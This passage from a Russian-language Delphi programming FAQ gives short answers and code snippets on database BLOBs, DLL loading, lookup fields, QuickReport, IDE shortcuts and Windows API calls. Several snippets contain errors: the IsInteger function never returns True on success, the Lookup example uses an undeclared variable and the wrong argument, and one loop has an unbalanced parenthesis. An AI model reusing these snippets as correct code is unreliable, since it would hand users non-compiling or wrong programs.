{Table1Notes is the TMemoField}

BS := tBlobStream.Create(Table1Notes, bmRead);

FillChar(P,SizeOf(P),#0); {terminate the null string}

BS.Read(P, 50); {read 50 chars from memo into blobStream}

BS.Free;

S := StrPas(P);

while Pos(#13, S) > 0 do {remove carriage returns and}

S[Pos(#13, S)] := ' '; {line feeds}

While Pos(#10, S) > 0 do

S[Pos(#10, S)] := ' ';

FillRect(Rect); {clear the cell}

TextOut(Rect.Left, Rect.Top, S); {fill cell with memo data}

end;

end;

end;

Q: Как вставить в число разделитель разрядов?

A: function FormatNumber(l: longint): string;

begin

FormatNumber := FormatFloat('#,##0', StrToFloat(IntToStr(l)));

end;

Q: Как вызвать функцию из DLL?

A: procedure TForm1.Button1Click(Sender: TObject);

type

TCallMeDll = function(a,b: Integer): string;

var

CallMeDll: TCallMeDll;

FuncPtr: TFarProc;

hDll: THandle;

result: string;

begin

hDll:=LoadLibrary('Mytestdll.dll');

FuncPtr:=GetProcAddress(hDLL,'CallMe');

@CallMeDll:=FuncPtr;

if @CallMeDll <> nil then

result:=CallMeDll(4,5);

FuncPtr:=nil;

FreeLibrary(hDll);

end;

Q: Как выбрать предка для компонента?

A: TComponent - предок для невизуальных компонентов

TWinControl - предок для визуальных компонентов, которым нужен Handel окна

TGraphicControl - предок для визуальных компонентов, котрым НЕ нужен Handel окна

TCustomControl - наиболее общий предок для визуальных компонентов

Q: Почему при создании компонента Run time значения свойств по умолчанию не работают?

A: Нужно установить значения по умолчанию в конструкторе компонента. Значения по умолчанию не используются, когда компонент создается Run time.

Q: Как скопировать значения полей записи из одной таблицы в другую?

A: var

Num: SmallInt;

begin

for Num := 0 to TableSource.FieldCount-1 do

begin

TableDest.Edit;

TableDest.Fields[Num].Assign(TableSource.Fields[Num];

TableDest.Post;

end;

end;

Q: Как проверить, является ли строка целым числом?

A: function IsInteger(TestThis: String): Boolean;

begin

try

StrToInt(TestThis);

except

on EConvertError do

result := False;

else

result := True;

end;

end;

Q: Как запустить программу и подождать, пока она закроется?

A: procedure SomeProc;

var

ProgramHandle : THandle;

begin

ProgramHandle := WinExec('C:\Program.exe', SW_SHOWNORMAL);

while GetModuleusage(ProgramHandle) <> 0 do application.processmessages;

{Цикл повторяется, пока программа не закроется}

{продолжение работы программы}

end;

Q: Как проверить сохранение изменений в БД при отключении питания?

A:

· Вызовите DbiSaveChanges

· Вызовите TTable.FlushBuffers

· Установите параметр LOCAL SHARE равным TRUE в конфигурации BDE

Q: Как сохранить/проиграть Avi файлы в БД?

A: Avi файлы можно сохранить в полях BLOB. Проще всего проиграть Avi файл, сохраненный в BLOB, путем записи данных из BLOB во временный файл, а затем проиграть его в мультимедийном проигрывателе.

var

FileName : string;

{Эта фунция получает имя временного файла из системы}

function GetTemporaryFileName : string;

{$IFNDEF WIN32}

const MAX_PATH = 144;

{$ENDIF}

var

{$IFDEF WIN32}

lpPathBuffer : PChar;

{$ENDIF}

lpbuffer : PChar;

begin

{Получаем буфер имени файла}

GetMem(lpBuffer, MAX_PATH);

{$IFDEF WIN32}

{Получаем буфер пути к временному файлу}

GetMem(lpPathBuffer, MAX_PATH);

{Получаем путь к временному файлу}

GetTempPath(MAX_PATH, lpPathBuffer);

{Получаем имя временного файла}

GetTempFileName(lpPathBuffer,

'tmp',

0,

lpBuffer);

{Освобождаем буфер пути к временному файлу}

FreeMem(lpPathBuffer, MAX_PATH);

{$ELSE}

{Получаем имя временного файла}

GetTempFileName(GetTempDrive('C'),

'tmp',

0,

lpBuffer);

{$ENDIF}

{Создаем строку, содержащую имя временного файла и возвращаем ее}

result := StrPas(lpBuffer);

{Освобождаем буфер имени файла}

FreeMem(lpBuffer, MAX_PATH);

end;

{Читаем Avi файл и записываем его в BLOB}

procedure TForm1.Button1Click(Sender: TObject);

var

FileStream: TFileStream; {для загрузки Avi файла}

BlobStream: TBlobStream; {Для сохранения в BLOB}

begin

{Разрешаем перерисовку кнопок}

Application.ProcessMessages;

{Отключить кнопки}

Button1.Enabled := false;

Button2.Enabled := false;

{Назначаем имя Avi файла для чтения}

FileStream := TFileStream.Create(

'C:\PROGRA~1\BORLAND\DELPHI~1\DEMOS\COOLSTUF\COOL.AVI',

fmOpenRead);

Table1.Edit;

{Создаем BlobStream для TField Table1AVI}

BlobStream := TBlobStream.Create(Table1AVI, bmReadWrite);

{Ищем начало потока}

BlobStream.Seek(0, soFromBeginning);

{Удаляем любые данные, которые могут быть в нем}

BlobStream.Truncate;

{Копируем данные из FileStream в BlobStream}

BlobStream.CopyFrom(FileStream, FileStream.Size);

{Освобождаем потоки}

FileStream.Free;

BlobStream.Free;

{Сохраняем запись}

Table1.Post;

{Делем кнопки доступными}

Button1.Enabled := true;

Button2.Enabled := true;

end;

{Читаем Avi файл из BLOB и проигрываем его}

procedure TForm1.Button2Click(Sender: TObject);

var

FileStream: TFileStream; {временный файл}

BlobStream: TBlobStream; {AVI Blob}

begin

{Создаем поток для AVI blob}

BlobStream := TBlobStream.Create(Table1AVI, bmRead);

if BlobStream.Size = 0 then begin

BlobStream.Free;

Exit;

end;

{Закрываем мультимедийный проигрываель}

MediaPlayer1.Close;

{Очищаем имя файла}

MediaPlayer1.FileName := '';

{Обновляем окно проигрывателя}

MediaPlayer1.Display := Panel1;

Panel1.Refresh;

{удаляем временный файл, если он существует}

if FileName <> '' then

DeleteFile(FileName);

{Получаем имя временного файла}

FileName := GetTemporaryFileName;

{Создаем временный поток}

FileStream := TFileStream.Create(FileName,

fmCreate or fmOpenWrite);

{Копируем BLOB во временный файл}

FileStream.CopyFrom(BlobStream, BlobStream.Size);

{Освобождаем потоки}

FileStream.Free;

BlobStream.Free;

{Настраиваем проигрыватель на AVI файл}

MediaPlayer1.FileName := filename;

MediaPlayer1.DeviceType := dtAviVideo;

MediaPlayer1.Open;

MediaPlayer1.Play;

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

MediaPlayer1.Close;

MediaPlayer1.FileName := '';

{Удаляем временный файл}

if FileName <> '' then

DeleteFile(FileName);

end;

Q: Как создать Lookup поля программным путем?

A: uses Forms, Classes, Controls, StdCtrls, Db, DBTables, DBCtrls;

type

TForm1 = class(TForm)

Table1: TTable; // DBDemos customer table

Table2: TTable; // DBDemos orders table

Button1: TButton;

DBLookupComboBox1: TDBLookupComboBox;

DataSource1: TDataSource;

Table2CustNo: TFloatField; // CustNo key field object used for Lookup

procedure Button1Click(Sender: TObject);

private { Private declarations }

public { Public declarations } end;

var Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

begin

with TStringField.Create(Table2) do begin

FieldName := 'MyLookup';

FieldKind:= fkLookup;

DataSet := Table2;

Name := Dataset.Name + FieldName;

KeyFields:= 'CustNo';

LookUpDataset:= Table1;

LookUpKeyFields:= 'CustNo';

LookUpResultField:= 'Company';

DbLookupCombobox1.DataField:= FieldName;

DataSource1.DataSet:= Dataset;

Table2.FieldDefs.Add(Name, ftString, 20, false);

end;

DbLookupCombobox1.DataSource:= Datasource1;

Table1.Active:= True;

Table2.Active:= True;

end;

end.

Q: Как использовать метод Lookup, чтобы получить значения нескольких полей?

A:

procedure TForm1.Button1Click(Sender: TObject);

var MyResults: Variant;

MyKeyFields, MyKeyValues: String;

MySearchForValue: Integer;

begin

MyKeyFields := 'CustNo';

MySearchForValue := 1351;

MyReturnColumns := 'Company;Addr1';

MyResults := Table1.Lookup(MyKeyFields, MySearchForValue, MyKeyValues);

if not VarIsNull(MyResults) then

ShowMessage('Company: ' + MyResults[0] + ' Address: ' + MyResults[1]);

{Для DBDemos будет возвращено "Company: Sight Diver Address: 1 Neptune Lane" }

end;

Q: Как узнать, что вводится в DBGrid?

A: Можно узнать, что вводиться в DBGrid посмотрев в его компонент TInPlaceEdit.

procedure TForm1.DBGrid1KeyUp(Sender: TObject;

var Key: Word; Shift: TShiftState);

var

B: byte;

begin

for B := 0 to DBGrid1.ControlCount - 1 do

if DBGrid1.Controls[B] is TInPlaceEdit then

begin

with DBGrid1.Controls[B] as TInPlaceEdit do

begin

Label1.Caption := 'Text = ' + Text;

end;

end;

end;

Q: Как заставить Pick List в DBGrid появляться быстрее?

A: В обработчике OnCellClick вашего TDBGrid, напишите следующее:

keybd_event(VK_F2,0,0,0);

keybd_event(VK_F2,0,KEYEVENTF_KEYUP,0);

keybd_event(VK_MENU,0,0,0);

keybd_event(VK_DOWN,0,0,0);

keybd_event(VK_DOWN,0,KEYEVENTF_KEYUP,0);

keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);

Это то же самое, что нажать F2, а затем Alt+Стрелка Вниз.

Q: Как показать всплывающую подсказку для компонента?

A: Вы можете програмно установить курсор на компонент, имеющий подсказку или показать собственную подсказку.

Пример 1 - программная установка курсора мыши

procedure TForm1.Button1Click(Sender: TObject);

var

pt : TPoint;

begin

{Позволим перерисовку кнопки}

Application.ProcessMessages;

{Получаем координаты экрана для центра кнопки}

pt := ClientToScreen(Point(Button1.Left + Button1.Width div 2,

Button1.Top + Button1.Height div 2));

{Устанавливаем курсор на центр кнопки}

SetCursorPos(Pt.x, Pt.y);

end;

Пример 2 - Создание собственного окна подсказки

procedure TForm1.FormCreate(Sender: TObject);

begin

Timer1.Enabled := false;

Panel1.Visible := false;

Panel1.BevelInner := bvNone;

Panel1.BevelOuter := bvNone;

Panel1.BorderStyle := bsSingle;

Panel1.Color := clWhite;

Button1.Hint := 'Hint test';

end;

procedure TForm1.ShowAHint(x : integer;

y : integer;

Caption : string;

Duration : LongInt);

var

dc : hdc;

OldFont : hFont;

pt : TSize;

p : pChar;

begin

if Timer1.Enabled <> false then

Timer1.Enabled := false;

Timer1.Enabled := false;

if Panel1.Visible <> false then

Panel1.Visible := false;

if Caption = '' then exit;

Panel1.Caption := caption;

{Получаем ширину заголовка}

GetMem(p, Length(Panel1.Caption) + 1);

StrPCopy(p, Panel1.Caption);

dc := GetDc(Panel1.Handle);

OldFont := SelectObject(dc, Panel1.Font.Handle);

GetTextExtentPoint32(dc, p, Length(Panel1.Caption), pt);

SelectObject(dc, OldFont);

ReleaseDc(Panel1.Handle, Dc);

FreeMem(p, Length(Panel1.Caption) + 1);

{Устанавливам и отображаем панель}

Panel1.Left := x;

Panel1.Top := y;

Panel1.Width := pt.cx + 6;

Panel1.Height := pt.cy + 2;

Panel1.Visible := true;

{Включаем таймер, чтобы скрыть панель}

Timer1.Interval := Duration;

Timer1.Enabled := true;

end;

procedure TForm1.Timer1Timer(Sender: TObject);

begin

if Panel1.Visible <> false then

Panel1.Visible := false;

Timer1.Enabled := false;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

{Позволим перерисовку кнопки}

Application.ProcessMessages;

ShowAHint(Button1.Left,

Button1.Top + Button1.Height + 6,

Button1.Hint,

2000);

end;

Q: Как убрать заставку при загрузке Delphi?

A: Добавите в командную строку запуска Delphi параметр "-ns" (без кавычек).

Q: Как быстро добавить отступ к блоку кода?

A: Выделите блок кода

shift+ctrl+I - добавить отступ

shift+ctrl+U - убрать отступ

Q: Как быстро перейти к следующей ошибке компилятора?

A:

Alt-F8 - перейти к следующей ошибке компилятора

Alt-F7 - перейти к предыдущей ошибке компилятора

Q: Как записать клавиатурный макрос?

A:

Ctrl+Shift+P Запускает макрос

Ctrl+Shift+R Начинает и заканчивает запись макроса

Q: Как изменить директорию, куда Delphi сохраняет проекты по умолчанию?

A: Измените рабочий каталог в свойствах ярлыка, которым Вы запускаете Delphi.

Q: Как быстро перейти в опции проекта?

A: Нажмите сочетание клавиш Ctrl+Shift+F11

Q: Как бросить несколько копий компонента на форму?

A: Удерживая клавишу Shift, выделите компонент на палитре компонентов. Голубая окантовка появится вокруг границ компонента на палитре. Теперь щелкните на форме в различных местах. С каждым щелчком Вы получите новую копию компонента. Чтобы убрать эту опцию, один раз щелкните по исходному компоненту на палитре, отпустив клавишу Shift.

Q: Как нарисовать цветовой спектр радуги на форме и при щелчке на форме определить выбранный цвет?

A: procedure PaintRainbow(Dc : hDc; {Canvas для прорисовки спектра}

x : integer; { X координита начала спектра}

y : integer; {Y координита начала спектра}

Width : integer; {Ширина радуги}

Height : integer {Высота радуги};

bVertical : bool; {Вертикальная прорисковка спектра?}

WrapToRed : bool); {Возвратить спектр обратно к красному цвету?}

var

i : integer;

ColorChunk : integer;

OldBrush : hBrush;

OldPen : hPen;

r : integer;

g : integer;

b : integer;

Chunks : integer;

ChunksMinus1 : integer;

pt : TPoint;

begin

OffsetViewportOrgEx(Dc,

x,

y,

pt);

if WrapToRed = false then

Chunks := 5 else

Chunks := 6;

ChunksMinus1 := Chunks - 1;

if bVertical = false then

ColorChunk := Width div Chunks else

ColorChunk := Height div Chunks;

{Red To Yellow}

r := 255;

b := 0;

for i := 0 to ColorChunk do begin

g:= (255 div ColorChunk) * i;

OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));

if bVertical = false then

PatBlt(Dc, i, 0, 1, Height, PatCopy) else

PatBlt(Dc, 0, i, Width, 1, PatCopy);

DeleteObject(SelectObject(Dc, OldBrush));

end;

{Yellow To Green}

g:=255;

b:=0;

for i := ColorChunk to (ColorChunk * 2) do begin

r := 255 - (255 div ColorChunk) * (i - ColorChunk);

OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));

if bVertical = false then

PatBlt(Dc, i, 0, 1, Height, PatCopy) else

PatBlt(Dc, 0, i, Width, 1, PatCopy);

DeleteObject(SelectObject(Dc, OldBrush));

end;

{Green To Cyan}

r:=0;

g:=255;

for i:= (ColorChunk * 2) to (ColorChunk * 3) do begin

b := (255 div ColorChunk)*(i - ColorChunk * 2);

OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));

if bVertical = false then

PatBlt(Dc, i, 0, 1, Height, PatCopy) else

PatBlt(Dc, 0, i, Width, 1, PatCopy);

DeleteObject(SelectObject(Dc,OldBrush));

end;

{Cyan To Blue}

r := 0;

b := 255;

for i:= (ColorChunk * 3) to (ColorChunk * 4) do begin

g := 255 - ((255 div ColorChunk) * (i - ColorChunk * 3));

OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));

if bVertical = false then

PatBlt(Dc, i, 0, 1, Height, PatCopy) else

PatBlt(Dc, 0, i, Width, 1, PatCopy);

DeleteObject(SelectObject(Dc, OldBrush));

end;

{Blue To Magenta}

g := 0;

b := 255;

for i:= (ColorChunk * 4) to (ColorChunk * 5) do begin

r := (255 div ColorChunk) * (i - ColorChunk * 4);

OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));

if bVertical = false then

PatBlt(Dc, i, 0, 1, Height, PatCopy) else

PatBlt(Dc, 0, i, Width, 1, PatCopy);

DeleteObject(SelectObject(Dc, OldBrush))

end;

if WrapToRed <> false then begin

{Magenta To Red}

r := 255;

g := 0;

for i := (ColorChunk * 5) to ((ColorChunk * 6) - 1) do begin

b := 255 -((255 div ColorChunk) * (i - ColorChunk * 5));

OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r,g,b)));

if bVertical = false then

PatBlt(Dc, i, 0, 1, Height, PatCopy) else

PatBlt(Dc, 0, i, Width, 1, PatCopy);

DeleteObject(SelectObject(Dc,OldBrush));

end;

end;

{Fill Remainder}

if (Width - (ColorChunk * Chunks) - 1 ) > 0 then begin

if WrapToRed <> false then begin

r := 255;

g := 0;

b := 0;

end else begin

r := 255;

g := 0;

b := 255;

end;

OldBrush := SelectObject(Dc, CreateSolidBrush(Rgb(r, g, b)));

if bVertical = false then

PatBlt(Dc,

ColorChunk * Chunks,

0,

Width - (ColorChunk * Chunks),

Height,

PatCopy) else

PatBlt(Dc,

0,

ColorChunk * Chunks,

Width,

Height - (ColorChunk * Chunks),

PatCopy);

DeleteObject(SelectObject(Dc,OldBrush));

end;

OffsetViewportOrgEx(Dc,

Pt.x,

Pt.y,

pt);

end;

function ColorAtRainbowPoint(ColorPlace : integer;

RainbowWidth : integer;

WrapToRed : bool) : TColorRef;

var

ColorChunk : integer;

ColorChunkIndex : integer;

ColorChunkStart : integer;

begin

if ColorPlace = 0 then begin

result := RGB(255, 0, 0);

exit;

end;

{WhatChunk}

if WrapToRed <> false then

ColorChunk := RainbowWidth div 6 else

ColorChunk := RainbowWidth div 5;

ColorChunkStart := ColorPlace div ColorChunk;

ColorChunkIndex := ColorPlace mod ColorChunk;

case ColorChunkStart of

0 : result := RGB(255,

(255 div ColorChunk) * ColorChunkIndex,

0);

1 : result := RGB(255 - (255 div ColorChunk) * ColorChunkIndex,

255,

0);

2 : result := RGB(0, 255, (255 div ColorChunk) * ColorChunkIndex);

3 : result := RGB(0,

255 - (255 div ColorChunk) * ColorChunkIndex,

255);

4 : result := RGB((255 div ColorChunk) * ColorChunkIndex,

0,

255);

5 : result := RGB(255,

0,

255 - (255 div ColorChunk) * ColorChunkIndex);

else

if WrapToRed <> false then

result := RGB(255, 0, 0) else

result := RGB(255, 0, 255);

end;{Case}

end;

procedure TForm1.FormPaint(Sender: TObject);

begin

PaintRainbow(Form1.Canvas.Handle,

0,

0,

Form1.ClientWidth,

Form1.ClientHeight,

false,

true);

end;

procedure TForm1.FormResize(Sender: TObject);

begin

InvalidateRect(Form1.Handle, nil, false);

end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

var

Color : TColorRef;

begin

Color := ColorAtRainbowPoint(y,

Form1.ClientWidth,

true);

ShowMessage(IntToStr(GetRValue(Color)) + #32 +

IntToStr(GetGValue(Color)) + #32 +

IntToStr(GetBValue(Color)));

end;

Q: Как определить номер недели по имеющейся дате?

A: function WeekOfYear(ADate : TDateTime) : word;

var

day : word;

month : word;

year : word;

FirstOfYear : TDateTime;

begin

DecodeDate(ADate, year, month, day);

FirstOfYear := EncodeDate(year, 1, 1);

Result := Trunc(ADate - FirstOfYear) div 7 + 1;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

ShowMessage(IntToStr(WeekOfYear(Date)));

end;

Q: Как показать поиск по индексу в моем файле помощи?

A: Application.HelpCommand(HELP_FINDER,0). Для более подробной информации смотрите Windows API функцию WinHelp.

Q: Как определить, есть ли дискета в дисководе?

A: procedure TForm1.Button1Click(Sender: TObject);

var

OldErrorMode : Integer;

fp : TextFile;

begin

try

OldErrorMode := SetErrorMode(SEM_FAILCRITICALERRORS);

try

AssignFile(fp,'A:\foo.bar');

Reset(fp);

CloseFile(fp);

finally

SetErrorMode(OldErrorMode);

end;

except

on E:EInOutError do

if E.ErrorCode = 21 then

ShowMessage('Нет доступа к дисководу A:\');

end;

end;

Q: Как сравнивать числа с плавающей точкой?

A: Значения этих чисел приблизительные и их нельзя сравнивать напрямую. Вместо это вычтите одно число из другого и если разница между ними ничтожна, то они равны.

if abs(d1-d2) < 0.00001 then

ShowMessage('D1 and D2 are equal');

Q: Как запретить изменение положения или размера моей формы?

A: Перехватывайте сообщение Windows WM_WINDOWPOSCHANGING и добавляйте к флагам структуры WindowPos, передаваемой в параметр lparam собщения, константы SWP_NOMOVE и SWP_NOSIZE.

type

TForm1 = class(TForm)

private

{ Private declarations }

procedure WMPosChange(var Message: TWMWINDOWPOSCHANGING);

message WM_WINDOWPOSCHANGING;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure Tform1.WMPosChange(var Message: TWMWINDOWPOSCHANGING);

begin

PWindowPos(TMessage(Message).lParam).Flags :=

PWindowPos(TMessage(Message).lParam).Flags or

SWP_NOMOVE or

SWP_NOSIZE;

end;

Q: Как переназначать события программным путем?

A:

procedure TForm1.Button1Click(Sender: TObject);

var

Button2SavedEvent : TNotifyEvent;

Button3SavedEvent : TNotifyEvent;

begin

{Назначаем события}

Button2SavedEvent := Button2.OnClick;

Button3SavedEvent := Button3.OnClick;

{Очищаем событие OnClick кнопки 2}

Button2.OnClick := nil;

{Назначаем событие OnClick кнопки 2 кнопке 3}

Button3.OnClick := Button2SavedEvent;

{ Делаем что-нибудь }

{Возвращаем события в исходное положение}

Button2.OnClick := Button2SavedEvent;

Button3.OnClick := Button3SavedEvent;

end;

Q: Как правильно округлять дробные числа?

A: Функция Round() округляет дробные числа "банковсим способом", т.е. дробная часть 0.5 округляется до ближайшего четного числа (1.5 = 2, а 2,5 = 2). Хотелось бы округлять числа стандартным методом, когда числа с дробной частью меньше 0.5 округлялись бы вниз, а равной или большей 0.5 - вверх.

Пример такой функции:

function RoundUp(X: Extended): Extended;

begin

Result := Trunc(X) + Trunc (Frac(X) * 2);

end;

Q: Как сохранять иконки в приложении и использовать их run time?

A:

{$R MYRES.RES}

procedure TForm1.Button1Click(Sender: TObject);

var

h : hIcon;

begin

h := LoadIcon(hInstance, 'ICON_1');

Application.Icon.Handle := h;

InvalidateRect(Application.Handle, nil, true);

end;

Q: Как создать файл ресурсов в виде DLL?

A: Создайте пустой проект DLL , который содержит ссылку на файл ресурсов .res, который в свою очередь содержит необходимые вам ресурсы.

Пример:

library ResTest;

uses

SysUtils;

{$R MYRES.RES}

begin

end.

Для использования DLL'и рерсурсов:

{$IFDEF WIN32}

const BadDllLoad = 0;

{$ELSE}

const BadDllLoad = 32;

{$ENDIF}

procedure TForm1.Button1Click(Sender: TObject);

var

h : THandle;

Icon : THandle;

begin

h := LoadLibrary('RESTEST.DLL');

if h <= BadDllLoad then

ShowMessage('Не удалось загрузить DLL ресурсов')

else begin

Icon := LoadIcon(h, 'ICON_1');

DrawIcon(Form1.Canvas.Handle, 10, 10, Icon);

FreeLibrary(h);

end;

end;

Q: Как сообщить другим приложениям, что мое приложение изменило реестр?

A: Пошлите в систему сообщение WM_WININICHANGE и строку, содержащую название секции, которая была изменена.

procedure TForm1.Button1Click(Sender: TObject);

begin SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, LongInt(PChar('RegistrySection')));

end;

Q: Как передать процедуру/фунцию другой процедуре/функции?

A: type

AFunctionType = function(IntIn : integer) : integer;

function AddProc(IntIn : integer) : integer;

begin

Result := IntIn + 1;

end;

function SubProc(IntIn : integer) : integer;

begin

Result := IntIn - 2;

end;

procedure PassAFunction(var IntIn : integer;

fn : AFunctionType);

begin

IntIn := fn(IntIn);

end;

procedure TForm1.Button1Click(Sender: TObject);

var

i : integer;

begin

i := 10;

PassAFunction(i, @AddProc);

ShowMessage(IntToStr(i));

PassAFunction(i, @SubProc);

ShowMessage(IntToStr(i));

end;

Q: Как передать PChar строку в Windows функцию, которая требует LongInt?

A: Нужно использовать приведение типов. Хорошим примером может служить последний параметр Windows API функции SendMessage(). В документации он приведен как требующий тип LongInt, но часто требует тип PChar для некоторых сообщений (например, WM_WININICHANGE). Обычно для приведения оба типа должны быть одного размера. В примере с функцией SendMessage() Вы можете привести тип PChar к типу LongInt, так как они оба занимают 4 байта в памяти.

Пример:

var s : array[0..64] of char;

begin StrCopy(S, 'windows');

SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, LongInt(@S));

end;

Q: Как создать функцию возведения в степень?

A:

function Power(x, y : extended) : extended;

begin

result := exp(y*ln(x));

end;

В данном пример 3 возводится в степень 2:

procedure TForm1.Button1Click(Sender: TObject);

begin

ShowMessage(FloatToStr(Power(3, 2)));

end;

Q: Как перемещаться по подкаталогам данного каталога?

A: Нужно использовать функции Delphi FindFirst() и FindNext(), чтобы создать чтобы создать список подкаталогов данной директории. Для каждой поддиректории с помощью тех же функций FindFirst() и FindNext() снова получите список поддиректорий и так далее.

Пример:

procedure GetDirectories(const DirStr : string;

ListBox : TListBox);

var

DirInfo: TSearchRec;

r : Integer;

begin

r := FindFirst(DirStr + '\*.*', FaDirectory, DirInfo);

while r = 0 do begin

Application.ProcessMessages;

if ((DirInfo.Attr and FaDirectory = FaDirectory) and

(DirInfo.Name <> '.') and

(DirInfo.Name <> '..')) then

ListBox.Items.Add(DirStr + '\' + DirInfo.Name);

r := FindNext(DirInfo);

end;

SysUtils.FindClose(DirInfo);

end;

procedure GetFiles(const DirStr : string;

ListBox : TListBox);

var

DirInfo: TSearchRec;

r : Integer;

begin

r := FindFirst(DirStr + '\*.*', FaAnyfile, DirInfo);

while r = 0 do begin

Application.ProcessMessages;

if ((DirInfo.Attr and FaDirectory <> FaDirectory) and

(DirInfo.Attr and FaVolumeId <> FaVolumeID)) then

ListBox.Items.Add(DirStr + '\' + DirInfo.Name);

r := FindNext(DirInfo);

end;

SysUtils.FindClose(DirInfo);

end;

procedure TForm1.FormCreate(Sender: TObject);

var

i : integer;

begin

ListBox1.Items.Clear;

ListBox2.Items.Clear;

ListBox1.Items.Add('C:\Delphi');

GetDirectories('C:\Delphi', ListBox1);

i := 1;

while i < ListBox1.Items.Count do begin

GetDirectories(ListBox1.Items[i], ListBox1);

Inc(i);

end;

end;

procedure TForm1.ListBox1Click(Sender: TObject);

begin

ListBox2.Clear;

GetFiles(ListBox1.Items[ListBox1.ItemIndex],

ListBox2);

end;

Примечание : Не рекомендуется использование компонентов Memo или StringList для хранения списков каталогов и файлов, так как размер элементов для этих компонентов ограничен, а списки каталогов и файлов могут достигать большого размера. Целесообразно создавать временные файлы для хранения этих списков.

Q: Как вызвать Windows функцию Beep()?

A:

procedure TForm1.Button1Click(Sender: TObject);

begin

SysUtils.Beep;

Windows.Beep(100, 1000);

end;

Q: Как правильно вызвать функцию DeleteFile()?

A: Функция DeleteFile() объявлена и в модуле Windows, и в модуле SysUtils. Функция из Windows принимает тип PChar, а функция из SysUtils - тип string.

procedure TForm1.Button1Click(Sender: TObject);

var

s : string;

a : array[0..MAX_PATH - 1] of char;

begin

s := 'C:\SomeFile';

SysUtils.DeleteFile(s);

a := 'C:\SomeFile';

Windows.DeleteFile(@a);

end;

Q: Как перехватить и обработать динамические изменения экрана?

A: Нужно перехватывать сообщение WM_DISPLAYCHANGE

type

TForm1 = class(TForm)

Button1: TButton;

private

{ Private declarations }

procedure WMDisplayChange(var Message: TMessage);

message WM_DISPLAYCHANGE;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMDisplayChange(var Message: TMessage);

begin

{Do Something here}

inherited;

end;

Q: Как передать через командную строку параметр, содержащий пробелы?

A: Так как пробел служит разделителем для функции ParamStr(), Вам необходимо собрать все переданные параметры в единую строку либо получить всю строку параметров из переменной CmdLine.

Пример:

procedure TForm1.Button1Click(Sender: TObject);

var

s : string;

begin

s := StrPas(CmdLine);

{$IFDEF WIN32}

Delete(s, 1, Pos('" ', s) + 1);

{$ENDIF}

ShowMessage(s);

end;

Q: Как найти расстояние между двумя точками на экране?

A:

funcTion Distance(Pt1 : TPoint; Pt2 : TPoint) : Double;

var dx : LongInt;

dy : LongInt;

begin dx:= pt1.x - pt2.x;

dy:= pt1.y - pt2.y;

Result := Sqrt((Dx * Dx) + (Dy * Dy));

end;

Q: Как сохранить предварительный просмотр QuickReport в текстовый файл?

A: Добавьте модуль QREXTRA в раздел uses и следующий код в обработчик OnClick кнопки "Сохранить":

procedure TfrmPreview.ToolButton3Click(Sender: TObject);

begin

frmReport.QuickRep1.ExportToFilter (TQRAsciiExportFilter.Create('c:\report.txt'));

end;

Q: Как установить заголовок окна предварительного просмотра?

A: Заголовок окна предварительного просмотра равен свойству Title отчета.

Q: Как ускорить вывод отчета?

A: Создавайте отчеты с минимальным количеством выражений. Также выражение Sum(Field1+Field2) работает гораздо быстрее, чем Sum(Field1)+Sum(Field2).

Q: Как печатать на принтер не по умолчанию?

A: Установите свойство QuickRep.PrinterSettings.PrinterIndex тому принтеру, на который Вы хотите печатать. Значение -1 этого свойства соответствует принтеру по умолчанию.

Q: Как проверить, установлен ли принтер по умолчанию?

A:

procedure TForm1.Button1Click(Sender: TObject);

var

Device, Driver, Port : array [0..255] of Char;

Mode : Integer;

begin

Printer.GetPrinter(Device,Driver,Port,Mode);

if Device <> '' then

ShowMessage(Device)

else

ShowMessage('Не установлен принтер по умолчанию');

end;

Q: Как работает функция Count() в построителе выражений?

A: Значение функции Count() увеличивается на 1 при каждом ее вызове.

Q: Почему выражение sum(if(...,...,0)) всегда равно 0?

A: Выражение в QRExpr : Sum(if(Query1.CartonID = 'SI', Query1.Caliper, 0)) всегда возвращает 0.

Измените 0 на 0.0 и функция заработает правильно.

Q: Как проверить содержимое TQRExpr программным путем?

A: Можно проверить содержимое с помощью свойства Value.Kind, которое может принимать следующие значения:

resInt Value.IntResult

resDouble Value.DblResult

resString Value.StrResult

resBool Value.BooResult

resError there was an error

Эти константы объявлены в модуле QRPrntr.

Q: Как создать прозрачную форму?

A: Пример:

procedure TForm1.FormCreate(Sender: TObject);

begin

Form1.Brush.Style := bsClear;

Form1.BorderStyle := bsNone

end;

procedure TForm1.BitBtn1Click(Sender: TObject);

begin

Application.Terminate;

end;

Q: Как спрятать приложение из панели задач?

A:

1) В головном файле проекта после Application.Initialize; добавьте

Application.ShowMainForm := False;

2) Добавьте ShowWindow(Application.Handle, SW_HIDE); перед Application.Run;

Пример:

program Project1;

uses

Windows,

Forms,

Unit1 in 'Unit1.pas' {Form1},

Unit2 in 'Unit2.pas' {Form2};

{$R *.RES}

begin

Application.Initialize;

Application.ShowMainForm := False;

Application.CreateForm(TForm1, Form1);

Application.CreateForm(TForm2, Form2);

ShowWindow(Application.Handle, SW_HIDE);

Application.Run;

end.

3) В секцию "initialization" (в самом низу модуля) каждого модуля, исользующего форму добавьте

begin

ShowWindow(Application.Handle, SW_HIDE);

end.

Q: Как сменить диск, который MediaPlayer использует для проигрывания музыкального CD?

A: MediaPlayer1.FileName := 'E:';

Q: Как создать строку, разделяемую символом табуляции с помощью функции формат?

A: Пример:

ShowMessage(Format('%s'#9'%s', ['Column1', 'Column2']));

Q: Как преобразовать цвет в его текстовое представление?

A: Пример:

uses Graphics;

procedure TForm1.Button1Click(Sender: TObject);

